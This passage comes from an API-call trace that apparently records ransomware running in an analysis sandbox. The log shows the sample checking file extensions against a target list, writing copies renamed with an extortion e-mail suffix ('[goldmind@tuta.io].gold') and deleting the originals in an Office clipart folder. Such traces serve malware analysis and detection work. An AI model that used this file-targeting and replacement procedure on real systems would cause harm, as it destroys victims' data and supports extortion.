Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.103] lstrlenW (lpString=".doc") returned 4 [0111.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.103] lstrlenW (lpString=".docx") returned 5 [0111.103] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.103] lstrlenW (lpString=".pdf") returned 4 [0111.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.103] lstrlenW (lpString=".xls") returned 4 [0111.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.103] lstrlenW (lpString=".xlsx") returned 5 [0111.116] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.116] lstrlenW (lpString=".ppt") returned 4 [0111.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".zip") returned 4 [0111.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.116] lstrlenW (lpString=".rar") returned 4 [0111.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString=".bz2") returned 4 [0111.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString=".7z") returned 3 [0111.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".dbf") returned 4 [0111.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".1cd") returned 4 [0111.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".jpg") returned 4 [0111.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".doc") returned 4 [0111.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString=".docx") returned 5 [0111.116] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.116] lstrlenW (lpString=".pdf") returned 4 [0111.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString=".xls") returned 4 [0111.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.116] lstrlenW (lpString=".xlsx") returned 5 [0111.116] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.116] lstrlenW (lpString=".ppt") returned 4 [0111.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.116] lstrlenW (lpString=".zip") returned 4 [0111.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.116] lstrlenW (lpString=".rar") returned 4 [0111.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.116] lstrlenW (lpString=".bz2") returned 4 [0111.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.117] lstrlenW (lpString=".7z") returned 3 [0111.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.117] lstrlenW (lpString=".dbf") returned 4 [0111.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.117] lstrlenW (lpString=".1cd") returned 4 [0111.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0111.117] lstrlenW (lpString=".jpg") returned 4 [0111.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.117] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.117] lstrlenW (lpString="J0160590.WMF") returned 12 [0111.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.119] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=29406) returned 1 [0111.119] CloseHandle (hObject=0x3d0) returned 1 [0111.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0111.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0111.217] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.217] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.278] GetLastError () returned 0x0 [0111.278] ReadFile (in: hFile=0x3d4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x72de, lpOverlapped=0x0) returned 1 [0111.284] WriteFile (in: hFile=0x3d0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x72e0, lpOverlapped=0x0) returned 1 [0111.285] ReadFile (in: hFile=0x3d4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.285] WriteFile (in: hFile=0x3d0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.285] SetEndOfFile (hFile=0x3d0) returned 1 [0111.285] CloseHandle (hObject=0x3d0) returned 1 [0111.285] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.285] SetEndOfFile (hFile=0x3d4) returned 1 [0111.287] CloseHandle (hObject=0x3d4) returned 1 [0111.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0111.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.842] lstrlenW (lpString=".doc") returned 4 [0111.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.842] lstrlenW (lpString=".docx") returned 5 [0111.842] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0111.842] lstrlenW (lpString=".pdf") returned 4 [0111.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.842] lstrlenW (lpString=".xls") returned 4 [0111.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.842] lstrlenW (lpString=".xlsx") returned 5 [0111.842] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0111.842] lstrlenW (lpString=".ppt") returned 4 [0111.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.842] lstrlenW (lpString=".zip") returned 4 [0111.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.842] lstrlenW (lpString=".rar") returned 4 [0111.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.842] lstrlenW (lpString=".bz2") returned 4 [0111.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString=".7z") returned 3 [0111.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".dbf") returned 4 [0111.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".1cd") returned 4 [0111.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".jpg") returned 4 [0111.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".doc") returned 4 [0111.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString=".docx") returned 5 [0111.843] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0111.843] lstrlenW (lpString=".pdf") returned 4 [0111.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString=".xls") returned 4 [0111.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.843] lstrlenW (lpString=".xlsx") returned 5 [0111.843] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0111.843] lstrlenW (lpString=".ppt") returned 4 [0111.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".zip") returned 4 [0111.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.843] lstrlenW (lpString=".rar") returned 4 [0111.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString=".bz2") returned 4 [0111.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString=".7z") returned 3 [0111.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".dbf") returned 4 [0111.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".1cd") returned 4 [0111.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0111.843] lstrlenW (lpString=".jpg") returned 4 [0111.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.843] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.843] lstrlenW (lpString="J0174315.WMF") returned 12 [0111.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.854] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5864) returned 1 [0111.854] CloseHandle (hObject=0x3bc) returned 1 [0111.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0111.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.854] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.854] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.855] GetLastError () returned 0x0 [0111.855] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x16e8, lpOverlapped=0x0) returned 1 [0111.895] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0111.896] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.896] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.896] SetEndOfFile (hFile=0x3e0) returned 1 [0111.896] CloseHandle (hObject=0x3e0) returned 1 [0111.896] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.896] SetEndOfFile (hFile=0x3bc) returned 1 [0111.898] CloseHandle (hObject=0x3bc) returned 1 [0111.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0111.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.899] lstrlenW (lpString=".doc") returned 4 [0111.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString=".docx") returned 5 [0111.899] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.899] lstrlenW (lpString=".pdf") returned 4 [0111.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString=".xls") returned 4 [0111.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.899] lstrlenW (lpString=".xlsx") returned 5 [0111.899] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.899] lstrlenW (lpString=".ppt") returned 4 [0111.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.899] lstrlenW (lpString=".zip") returned 4 [0111.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.899] lstrlenW (lpString=".rar") returned 4 [0111.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString=".bz2") returned 4 [0111.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString=".7z") returned 3 [0111.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.899] lstrlenW (lpString=".dbf") returned 4 [0111.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.899] lstrlenW (lpString=".1cd") returned 4 [0111.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".jpg") returned 4 [0111.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".doc") returned 4 [0111.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString=".docx") returned 5 [0111.900] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.900] lstrlenW (lpString=".pdf") returned 4 [0111.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString=".xls") returned 4 [0111.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.900] lstrlenW (lpString=".xlsx") returned 5 [0111.900] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.900] lstrlenW (lpString=".ppt") returned 4 [0111.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".zip") returned 4 [0111.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.900] lstrlenW (lpString=".rar") returned 4 [0111.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString=".bz2") returned 4 [0111.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString=".7z") returned 3 [0111.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".dbf") returned 4 [0111.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".1cd") returned 4 [0111.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0111.900] lstrlenW (lpString=".jpg") returned 4 [0111.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.900] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0111.900] lstrlenW (lpString="J0174952.JPG") returned 12 [0111.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.901] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24982) returned 1 [0111.901] CloseHandle (hObject=0x3bc) returned 1 [0111.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 0x20 [0111.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.901] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.901] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.902] GetLastError () returned 0x0 [0111.902] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6196, lpOverlapped=0x0) returned 1 [0111.918] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0111.919] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.919] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.919] SetEndOfFile (hFile=0x3e0) returned 1 [0111.919] CloseHandle (hObject=0x3e0) returned 1 [0111.919] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.919] SetEndOfFile (hFile=0x3bc) returned 1 [0111.921] CloseHandle (hObject=0x3bc) returned 1 [0111.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0112.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.056] lstrlenW (lpString=".doc") returned 4 [0112.056] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.056] lstrlenW (lpString=".docx") returned 5 [0112.056] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.056] lstrlenW (lpString=".pdf") returned 4 [0112.056] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.056] lstrlenW (lpString=".xls") returned 4 [0112.056] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.056] lstrlenW (lpString=".xlsx") returned 5 [0112.056] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.056] lstrlenW (lpString=".ppt") returned 4 [0112.057] lstrcmpiW (lpString1=".ppt", 